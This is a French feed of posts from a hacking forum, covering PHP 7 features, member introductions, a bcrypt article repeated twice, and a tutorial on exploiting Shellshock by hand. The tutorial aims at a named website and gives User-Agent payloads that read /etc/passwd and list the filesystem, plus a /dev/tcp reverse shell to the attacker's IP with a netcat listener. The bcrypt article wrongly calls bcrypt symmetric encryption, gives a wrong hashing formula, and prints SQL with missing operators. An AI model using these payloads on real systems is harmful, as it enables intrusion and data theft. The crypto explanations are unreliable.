Echo "\n" . $Animal : : getNewAnimal () : : $service . "n\n";
Tout est bien expliqué sur PHP ainsi qu'un patch permettant de nous guider lors de nos corrections.

Des incompatibilités mais aussi des nouveautés.

Des Mots Clés Réservés VIP


Une série de types seront réservés sous PHP 7, pour servir de nom de classe, traits et interfaces dont voici une liste :
• int
• float
• bool
• string
• true, false
• null
• ressource
• object
• mixed
• numeric

Vous devrez là aussi patcher ceux que vous utilisez sinon vous aurez un beau Fatal Error en sortie.

Opérateur de comparaison combinée (Combined Comparison Operator)

Cette nouveauté on l'a doit MrZ Poll.C'est un opérateur de comparaison qui s'écrit ainsi :
<=>
Pour paraphraser son auteur :" Cela fonctionne efficacement comme strcmp(), ou version_compare(), renvoyant -1 si l’opérande gauche est plus petit que le droit, 0 s’ils sont égaux, et 1 si le gauche est plus grand que le droit. La différence majeure étant que cela peut être utilisé sur n’importe lequel des deux opérandes, pas seulement pour les strings, mais aussi les integers, floats, arrays, etc."

Voici un exemple :
Prenons 2 variables : $a <=> $b
($a < $b) ? -1 : (($a > $b) ? 1 : 0)
Se traduit par si a < b = -1, a > b = 1 et a = b =0
En PHP 7 on peut aller plus loin en proposant à l'aide de l'opérateur null coalesce operator ??, la possibilité de vérifier que si une valeur est définie avant de l'utiliser.
$a = $b ?? "default";
Il va vérifier d'abord celle de gauche si elle est non NULL puis renverra l'opération sinon elle fera de même avec celle de droite.



Engine Exceptions

Alors cette option toute simple (qui ressemble beaucoup au style Python) apporte une amélioration dans la gestion des erreurs.
Elle limite un espace-temps pour permettre de gérer proprement ses erreurs.
La fonction try ajoute une exception à notre fonction qui va attrapée l'erreur fatale, attention toutefois non gérée l'erreur normale apparaîtra ensuite.
Plusieurs erreurs de parsing peuvent être aussi attrapées avec la classe ParseException.

Scalar type hinting

PHP 7 permet dorénavant de spécifier un type scalaire (string, boolean, integer, float) pour le type hinting.
Pour activer la fonctionnalité, il suffit de rajouter en début du fichier :
declare(strict_types=1); juste après <? Php

Grouper les use

La fonction use change, il est possible maintenant de grouper les espaces de noms avec le même préfixe.
<?php // Group the namespaces

Code PHP:

use Foo\Bar\Email;
use 
Foo\Bar\Phone;
use 
Foo\Bar\Address\Code;
use 
Foo\Bar\Address\Number;

echo 
"Next step !";
?> 

devient

Code PHP:

<?php // Group the namespaces

use Foo\Bar\{
    
Email,
    
Phone,
    
Address\Code,
    
Address\Number
};

echo 
"Next step !";
?>

2 Nouvelles Expression pour les retours Error


La première se nomme Generator Return Expressions. Cette RFC propose la capacité à la fois de préciser les valeurs de retour accès Générateur tout en jetant les bases pour les rendements futurs sous-générateurs.
Pour faire bref, en PHP 7 cela retourner une erreur mais avec Generator::getReturn(), vous récupérer une valeur.

La seconde se nomme Generator Delegation qui permet avec la syntaxe <expr> pour une structure itérable elle-même d'être traversée – que ce soit un array, un iterator, ou un autre generator.
Les informations seront plus précises sur le site de php avec des exemples concrets.



Conclusion

PHP 7 peut être testé sur le site tutoriel qui montre les anciennes fonctions utilisées et les nouvelles. Vous retrouverez une certaine similarité avec mon article.
Ce que l'on peut dire de PHP 7, c'est qu'il va permettre de nouvelles applications pour peu de BC break dans le fond.
Une meilleure gestion des erreurs qui pour ma part est une partie énervante du PHP. J'entends des heures de débogages à une époque sur des CMS comme DLE Engine.
Visiblement, la migration sera facile et rapide ce qui devrait contenter la plupart des concepteurs et sûrement permettre une migration en douceur.
De quoi ravir tout le monde, moi le premier.
Je vous invite à continuer à étudier ce nouveau PHP pour prendre de bonnes attitudes de programmation.

Merci de m'avoir lu à bientôt.


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1TYnsft
via IFTTT

Programmation avec le langage Python, Un outil commode au service de l’ingénieur

Salut,

J'aimerais juste partager un eBook qui me semble assez complet sur le langage Python.

Xavier Dupré -- Programmation avec le langage Python, Un outil commode au service de l’ingénieur

Lien:
http://ift.tt/1PE4eG9

Je le trouve concis mais cernant bien les bases de python ! Je ne sais pas si il ferait l'affaire pour un débutant en programmation,
mais pour le programmeur expérimenté, ce livre permet de faire le tour du langage, assez rapidement.

Voila :)


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1MIPPtT
via IFTTT

Presentation NightF0x

Salut à tous ! :)

Pseudo (+autres si plusieurs) :
NightF0x

Connaissances informatiques générales :
  • Programmation (C, Java, Python, BASH Perl, etc...); langages favoris : C, BASH, Python
  • Bases du Web (HTML/CSS, PHP/Mysql)
  • Réseaux TCP/IP (en train de préparer la certification Cisco CCNA)
  • Unix/Linux
  • Théorie de l'information
  • Electronique + architecture des ordinateurs ( un peu d'asm)
  • Mathématiques (en rapport ou non avec l'informatique)


Connaissances en hacking :
Très très basiques...
Buffer Overflow, DDoS, Arp cache poisoning...

Système d'exploitation principal :
Pour l'instant Windows 8.1, mais il faut que je rétablisse le dualboot avec Debian 8.0.

Je viens sur ce forum pour :
apprendre, me perfectionner, partager

J'ai connu ce forum via :
google

Informations supplémentaires (job, intérêts, autres...) :
Etudiant en école d'ingé
Sports
Soirée
Programmation


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1Nq7re2
via IFTTT

jeudi 20 août 2015

Les processus cachés !

Bonjour tout le monde :D je voulais savoir si un exécutable caché est forcément un virus (pourquoi le cacher sinon ?), et les moyens d'afficher tout les exécutables/processus cachés ! Et je me demandais aussi comment reconnaître à coup sur un programme original d'un programme virusé. (son authenticité si vous préférez)

Je souhaiterais "déviruser" entièrement un PC !!

Merci d'avance pour vos réponses :)


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1fsYhP6
via IFTTT

Présentation Greempy.

Salut à tous, comme conseillé je fais ma présentation :

Pseudo (+autres si plusieurs) :

Je n'ai qu'un pseudo, Greempy.

Connaissances informatiques générales :

A vrai dire je n'ai pas vraiment de connaissance informatique vue que je commence dans ce domaine, mais je suis quelqu'un qui n'aime pas vraiment se faire assister donc je cherche beaucoup sur Google, je navigue de site en site pour pouvoir trouver mes informations. C'est la première fois qu'un forum m'attire donc je compte y rester et y apprendre.

Connaissances en hacking :

Pour faire simple je n'en ai pratiquement aucune, j'ai lu beaucoup de choses mais je n'ai jamais rien vraiment appris puisque je pensais que ce "monde" était vraiment dur à y entrer et j'ai toujours eu cette peur d'échouer, mais en lisant certaines choses sur ce forum ça m'a redonné le sourire et donc j'espère pouvoir cette fois réussir puisque je vais y mettre toute ma volonté. J'aimerais me spécialiser dans le développement, j'aime beaucoup créer.

Système d'exploitation principal :

Je suis actuellement sur du Windows 8 64bit.

Je viens sur ce forum pour :

Apprendre réellement sur ce gigantesque monde nommé "hacking" mais aussi faire des rencontres intéressantes pouvant pourquoi pas par la suite faire des "projets".

J'ai connu ce forum via :

Après une assez longue recherche c'est le seul forum qui m'a tapé à l'oeil par son originalité mais aussi le sérieux des membres.

Informations supplémentaires (job, intérêts, autres...) :

Mise à part ça, je suis un jeune lycée en première année STI2D option électronique (SIN) passionné par le vélo, la pêche, mais surtout l'informatique en général.


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1JkyikQ
via IFTTT

Kali linux ou backtrack ?

Salut je suis debutant voila je voudrait tester la securiter de mon réseaux wifi je me suis un peu renseigner sur bactrack et kali linux j'aimerai connaître vôtre avis , quelle système serait le plus approprié pour un novice ? Merci a+ .


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1Jltq3i
via IFTTT

Salutations

Bonjour/bonsoir a vous je m'appelle Dylan 26ans je suis serrurier metallier je reside en region parisienne je me suis inscrit sur le forum Hakademics en esperant acquérir un peu de votre science voila j'espère ne pas trop vous troller avec des questions bête car je suis novice en la matière. Sur ce je
vous remercie d'avance. Aller salut .


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1JkygJx
via IFTTT

News Comment Team Impact a-t-il cracké les password d'Ashley Madison (+ tuto bcrypt) ?


On a vu avec l'affaire d'Ashley Madison dont j'ai déjà fait 2 articles conséquents, que Team Impact avait décrypté les mots de passe de la base de données dumpé sur le site pourtant crypté avec bcrypt.
Je voulais faire cette parenthèse sécurité pour essayer de comprendre comment bcrypt fonctionnait d'une part, et d'autre part comment les pirates ont pu réussir à décrypter si facilement l'intégralité des données.

Le monde informatique, comme dans tous types de monde professionnel : a ses codes, abréviations et surtout lexique à connaître. Les techniques sont nombreuses pour mettre en place une sécurité efficace en vue de protéger les données d'un site.
Citation:

L'utilisation d'une BDD implique souvent la protection, car elle est convoitée par les pirates pour leurs précieuses informations.

Personnellement, j'ai fait le choix de travailler différemment, ce qui me permet d'exclure certains standards mais aussi et nous le verrons pour le web 2.0 de demain, que PHP malgré sa puissance, perd du terrain et que des alternatives verront le jour.

Bcrypt, c'est quoi au juste ?

Citation:

C'est un algorithme de chiffrement symétrique Blowfish.
"Symétrique" signifie que l'on va utiliser une clé pour crypter notre message, dans notre cas le mot de passe. Cette clé va être générée de manière aléatoire, la particularité de Blowfish sont les grandes valeurs des clés pouvant aller de 32 à 448 bits.

Blowfish a poussé plus loin le procédé de cryptage en poussant le concept avec l'algorithme Eksblowfish qui répète le processus avec un nombre d'itération choisi au départ d'une base puissance de 2. Représentant donc plusieurs cycles de hash de notre mot de passe qui vont améliorer la sécurité finale du cryptage.

Je vous mets le lien vers Wikipédia qui explique clairement son principe : http://ift.tt/1EEmclf

Par conséquent nous sommes bien loin de notre cryptage conventionnel : md5(salt + mdp)



Comment fonctionne Blowfish ?
Utilisation de bcrypt pour crypter
Le fonctionnement est simple. Vous allez vous connecter à votre serveur PHP afin de lancer quelques requêtes qui permettront que le système s'applique sur vos mots de passe.

Citation:

Je pense que la sécurité de Madison a du procédé de la même façon, mais avec malheureusement peu de succès vu les révélations sur le Dark Web.
Allez tout d'abord sur votre base de données. Pour l'exemple, je vais prendre une base de données s'appelant Monster et avec une table user contenant passwd,…


Citation:

Mon mot de passe est : MDP (j'ai simplifié pour l'exemple).
Mon id est 1.
Dans un premier temps, on va intégrer le module à notre base :

Code PHP:

CREATE EXTENSION pgcrypto

Voilà les conditions sont prêtes pour la suite des opérations.
Nous allons aller sur la DOC de pgcrypto qui utilise Eksblowfish et suivre les indications proposées.

Citation:

Il nous explique qu'il faut, pour l'itération du crypto sélectionner une fréquence de 4 à 100 par seconde.
Je vais être honnête plus vous montez, plus cela va mouliner sec alors ne soyez pas trop gourmand.

La requête à lancer sur la table est :

Code PHP:

UPDATE user SET pswhash crypt('MDP'gen_salt('bf',4)) WHERE id 1

Expliquons ce code :
On va demander à notre serveur de mettre à jour "user" en remplaçant le mot de passe "MDP" par l'application de Blowfish BF sur la base d'une itération de 4 pour l'id 1. Il en ressort pswhash le nouveau mot de passe hashé par l'algorithme.

Notre mot de passe est passé par ce type de processus :

Citation:

hash = hash( hash(hash(hash(MDP)) )) soit la formule ( hash(password) ) * N

Dans notre cas (hash(MDP)) * 4
Pour l'authentification, c'est-à-dire pour comparer le mot de passe entré par l’utilisateur à celui qui est en base, la Doc nous donne le code suivant :

Code PHP:

SELECT FROM user WHERE pswhash crypt('MDP'pswhash); 

PHP mais pas seulement
Le cryptage est disponible dans bon nombre de langages dont. Java, Python, Ruby, Perl et PHP 5++.

En Ruby voila ce que cela donne :

PS: ce script n'est pas de moi n'ayant pas la prétention de travailler sous Ruby, mais d'un très bon développeur Yorick.

Code:

require 'benchmark'

require 'bcrypt'

password = 'MDP'

amount  = 100

Benchmark.bmbm(20) do |run|

run.report("Cost of 5") do

  amount.times do

    hash = BCrypt::Password.create(password, :cost => 5)

  end

end

run.report("Cost of 10") do

  amount.times do

    hash = BCrypt::Password.create(password, :cost => 10)

  end

end

run.report("Cost of 15") do

  amount.times do

    hash = BCrypt::Password.create(password, :cost => 15)

  end

end

end


En Perl (qui se prête bien aux itérations et boucle) d'Andrew main est ici: Crypt::Eksblowfish



Code:

use Crypt::Eksblowfish::Bcrypt qw(bcrypt_hash);

$salt    = '1p23j1-9381-23';

$password = 'MDP';

$hash    = bcrypt_hash({

  key_nul => 1,

  cost  => 10,

  salt  => $salt,

}, $password);


En python sa version est disponible aussi sur Github. Sur PHP la mise en application du hash est détaillé sur PHPnet.


Puissant et pourtant... Comment Team Impact s'y est prit ?
D'après Ycombinator, on devrait utiliser ce type de cryptage qui est plus sécurisé que le MD5 basique. Je conçois qu'il est clair que celui qui utilisent des BDD soit à même d'oublier que la sécurité passe par tous les niveaux, mais ce n'est pas le but de cet article.

Ils ont surement utilisé un puissant calculateur qui va parcourir les mots de passe hasher en travaillant sur un dictionnaire.

Pourtant, je pense qu'il est peu probable qu'il ait cherché à passer avec un Brute force sur un chiffrement symétrique comme Blowfish.


Citation:

Des logiciels ou script comme Jhon the Ripper ou encore hashcat et bien d'autres permettent de cracker des mots de passe.
La question qui se pose est surtout avec quelle facilité l'ont-ils fait ?

Je pense que soit la crypto a été faite avec une itération trop faible, soit les mots de passe des utilisateurs étaient également trop faibles.


La sécurité informatique n'a pas bien fait son travail

Ce que l'on sait, c'est que ce système de crypto bien utilisé va permettre d'améliorer la sûreté de nos mots de passe, mais il ne pourra rien faire si l'on ne prend pas un MDP assez complexe ou que l'on applique pas la base de crypto comme il faut.

Alors n'hésitez pas à forcer sur vos mots de passe, personnellement j'utilise des MDP de plus de 24 caractères générés aléatoirement.

La sécurité est importante ne l'oubliez jamais, car je pense que Madison et surtout ses membres ne l'oublieront pas eux.

Merci de m'avoir lu. Sachez que je ne suis pas expert en cryptologie surtout en crackage de mots de passe d'où peut être des lacunes sur ce point précis.

Si vous avez des remarques pertinentes visant à améliorer l'article, je serai enchanté de les écouter et de rectifier les parties concernées.

À bientôt.


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1Po77dx
via IFTTT

Tutoriel Exploitation de la vulnérabilité Shellshock à la main (manuellement)

Suite à notre approche de l'exploitation d'une faille Shellshock via Metasploit, aujourd'hui je vais vous monter la faille shellshock exploitée à la main (personnellement je préfère cette méthode).

Avant de commencer, lisez ce qui suit : http://ift.tt/1Jo67HU


Dans un premier temps je vais rechercher la faille sur ce site :http://site.ch/
Et en cherchant un peu dans ses sources, je remarque une possibilité d'exploitation via le fichier cgi-bin/rpmrepo_scripts/list_rpms.sh


Donc je vais lancer BurpSuite pour capter cette URL , puis je lance le mode repeater pour modifier à la volée les paramètres, mais celui qui m'intéresse est USER-AGENT. Donc si je parviens à injecter du code dans le header, je devrais obtenir les informations passées en argument.

Maintenant on va tester si la faille est bien présente , en modifiant l'USER-AGENT et essayons de faire afficher des données , via une injection de code.Tiens on va demander la version du serveur, avec la commande classique et bien connue: id


Comme on le voit, la modification du header USER-AGENT qui sert pour identifier votre browser web, par un code d'injection () { :;}; echo; echo "jajusa"; /bin/bash "id" va directement nous donner l'identifiant actuel.

Bon c'est sympa, mais si on part du principe que ces données sont visible, on devrait pouvoir lister les répertoires, mais comment?

Simplement en modifiant notre code d'injection ( comprendre les commandes Linux est obligatoire).
Donc, disons ceci:

() { :;}; echo; echo "jajusa"; /bin/bash "id" -> nous donne l'identifiant
Donc si on modifie le /bin/bash par un simple /bin/cat par exemple, je devrai pouvoir lire les fichiers.
Testons sur le célèbre fichier /etc/passwd
Donc on modifie le code par () { :;}; echo; echo "jajusa"; /bin/cat /etc/passwd


Voilà c'est très simple , non?
Bon je vais finir pour un listing complet depuis la racine.
Donc le code d'injection ici fonctionnera avec la commande ls
() { :;}; echo; echo "jajusa"; /bin/ls -lah / ici ls -lah pour voir les permissions puis / pour indiquer la racine du serveur.



Bon maintenant allons un peu plus loin que l'injection de code dans l'entête USER-AGENT, et on va se renvoyé une petite connexion via le port 4444.

Donc ce faire, il nous faut 3 choses:
-Le port 4444 ouvert sur notre box
-Une ip DNS (noip par exemple), non obligatoire
-Et un code pour nous renvoyé la connexion.
Dont voici le code d'injection:
() { :;}; /bin/bash -c "bash -i >& /dev/tcp/Votre_IP ou Votre_Ip_DNS/4444 0>&1"

Voilà ensuite on va mettre lancer une écoute sur le port 4444 avec netcat: nc -lp 4444 -vv

Correctif: un simple apt-get update, devrait corriger cette vulnérabilité.

Voilà ,j'espère que ce tutoriel vous as plu.

Prochain chapitre : Shellshock via le protocole smtp Qmail.


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1Nnt8vd
via IFTTT

Auto installer de Metasploit et Armitage sous Mac OS

Bonjour,
J'ai créé un auto installer de Metasploit et d'Armitage sous Mac OS

Lien du dépôt (sources) : http://ift.tt/1Po79C0 (requiert Java 8 et Xcode)

La version postée en ce moment est la V.2.


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1Nnt8eL
via IFTTT

News Nager comme un poisson dans l'eau avec bcrypt





On a vu avec l'affaire Madison dont j'ai déjà fait 2 articles conséquents que team impact avait décrypté les mots de passe de la base de données dumper sur le site pourtant crypter avec bcrypt.


Je voulais faire cette parenthèse sécurité pour essayer de comprendre comment bcrypt fonctionner d'une part et d'autre part comment les pirates ont pu réussir à décrypter si facilement l'intégralité des données.


Dans le monde informatique, comme dans tous types de monde professionnel à ses codes, abréviations et surtout lexiques à connaître. Les techniques sont nombreuses pour mettre en place une sécurité efficace en vue de protéger les données d'un site.


Citation:

L'utilisation d'une BDD implique souvent la protection, car elle est convoitée par les pirates pour leurs précieuses informations.

Personnellement, j'ai fait le choix de travailler différemment ce qui me permet de m'exclure de certains standards mais aussi et nous le verrons pour le web2.0 de demain, au fur et à mesure, que PHP malgré sa puissance perd du terrain et que des alternatives verront le jour.


Bcrypt, c'est quoi au juste


Citation:

C'est un algorithme de chiffrement fondé sur l'algorithme de chiffrement symétrique Blowfish.

Symétrique signifie que l'on va utiliser une clé pour crypter notre message dans notre cas le mot de passe. Cette clé va être générée de manière aléatoire et la particularité de Blotti est les grandes valeurs des clés pouvant aller de 32 à 448 bits.



Blowfish a poussé plus loin le procédé de cryptage en poussant le concept avec l'algorithme Eksblowfish qui répète le processus avec un nombre d'itération choisi au départ d'une base puissance de 2. Donc, plusieurs cycles de hash de notre mot de passe qui vont améliorer la sécurité finale du cryptage.


Je vous mets le lien vers Wikipédia qui explique clairement son principe :

http://ift.tt/1EEmclf


Nous sommes bien loin de notre cryptage conventionnel : md5(salt + mdp)







Son fonctionnement


Utilisation de bcrypt pour crypter


Le fonctionnement est simple. Vous allez vous connecter à votre PHP serveur afin de lancer quelques requêtes qui permettront que le système s'applique sur vos mots de passe.



Citation:

Je pense que la sécurité de Madison a du procédé de la même façon, mais avec malheureusement peu de succès vu les révélations sur le Dark Web.


Allez tout d'abord sur votre base de données. Pour l'exemple, je vais prendre une base de données s'appelant Monster et avec une table user contenant passwd,…


Citation:

Mon mot de passe est : MDP (j'ai simplifié pour l'exemple).
Mon id est 1.



Dans un premier temps, on va intégrer le module à notre base :

Code PHP:

CREATE EXTENSION pgcrypto

Voilà les conditions sont prêtes pour la suite des opérations.


Nous allons aller sur la DOC de pgcrypto qui utilise Eksblowfish et suivre les indications proposées.


Citation:

Il nous explique qu'il faut pour l'itération du crypto sélectionner une fréquence de 4 à 100 par seconde.

Je vais être honnête plus vous monter, plus cela va mouliner sec alors ne soyez pas trop gourmand.


La requête à lancer sur la table est :

Code PHP:

UPDATE user SET pswhash crypt('MDP'gen_salt('bf',4)) WHERE id 1



Expliquons ce code. On va demander à notre serveur de mettre à jour, user en remplaçant le mot de passe MDP par l'application de Blowfish BF sur la base d'une itération de 4 pour l'id 1. Il en ressort pswhash le nouveau mot de passe hashé par l'algorithme.



Notre mot de passe est passé par ce type de processus :

Citation:

hash = hash( hash(hash(hash(MDP)) )) soit la formule ( hash(password) ) * N

Dans notre cas (hash(MDP)) * 4

Pour l'authentification, c'est-à-dire pour comparer le mot de passe entré par l’utilisateur à celui qui est en base, la Doc nous donne le code suivant :

Code PHP:

SELECT FROM user WHERE pswhash crypt('MDP'pswhash); 



PHP mais pas seulement



Le cryptage est disponible dans bon nombre de langages dont. Java, Python, Ruby, Perl et PHP 5++.



En Ruby voila ce que cela donne :

PS: ce script n'est pas de moi n'ayant pas la prétention de travailler sous Ruby, mais d'un très bon développeur Yorick.



Code:

require 'benchmark'

require 'bcrypt'

password = 'MDP'

amount  = 100

Benchmark.bmbm(20) do |run|

run.report("Cost of 5") do

  amount.times do

    hash = BCrypt::Password.create(password, :cost => 5)

  end

end

run.report("Cost of 10") do

  amount.times do

    hash = BCrypt::Password.create(password, :cost => 10)

  end

end

run.report("Cost of 15") do

  amount.times do

    hash = BCrypt::Password.create(password, :cost => 15)

  end

end

end


En Perl (qui se prête bien aux itérations et boucle) d'Andrew main est ici: Crypt::Eksblowfish



Code:

use Crypt::Eksblowfish::Bcrypt qw(bcrypt_hash);

$salt    = '1p23j1-9381-23';

$password = 'MDP';

$hash    = bcrypt_hash({

  key_nul => 1,

  cost  => 10,

  salt  => $salt,

}, $password);



En python sa version est disponible aussi sur Github. Sur PHP la mise en application du hash est détaillé sur PHPnet.


Puissant et pourtant


D'après Ycombinator, on devrait utiliser ce type de cryptage qui est plus sécurisé que le MD5 basique. Je conçois qu'il est clair que celui qui utilisent des BDD soit à même d'oublier que la sécurité passe par tous les niveaux, mais ce n'est pas le but de cet article.


Ils ont surement utilisé un puissant calculateur qui va parcourir les mots de passe hasher en travaillant sur un dictionnaire.


Pourtant, je pense qu'il est peu probable qu'il ait cherché à passer avec un Brute force sur un chiffrement symétrique comme Blowfish.


Citation:

Des logiciels ou script comme Jhon the Ripper ou encore hashcat et bien d'autres permettent de cracker des mots de passe.

La question qui se pose est surtout avec quelle facilité l'ont-il fait ?



Je pense que soit le crypto a été faite avec une itération trop faible, soit les mots de passe, des utilisateurs, étaient également trop faibles.



La sécurité informatique n'a pas bien fait son travail



Ce que l'on sait, c'est que ce système de crypto bien utilisé va permettre d'améliorer la sûreté de nos mots de passe, mais il ne pourra rien faire si l'on ne prend pas un MDP assez complexe ou que l'on applique pas la base de crypto comme il faut.

Alors n'hésitez pas à forcer sur vos mots de passe, personnellement j'utilise des MDP de plus de 24 caractères générés aléatoirement.

La sécurité est importante ne l'oublié jamais, car je pense que Madison et surtout ses membres ne l'oublieront pas eux.

Merci de m'avoir lu. Sachez que je ne suis pas expert en cryptologie surtout en craquage de mots de passe d'où peut être des lacunes sur ce point précis.


Si vous avez des remarques pertinentes visant à améliorer l'article, je serai enchanté de les écouter et de rectifier les parties concernées.



À bientôt.


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1EEmclh
via IFTTT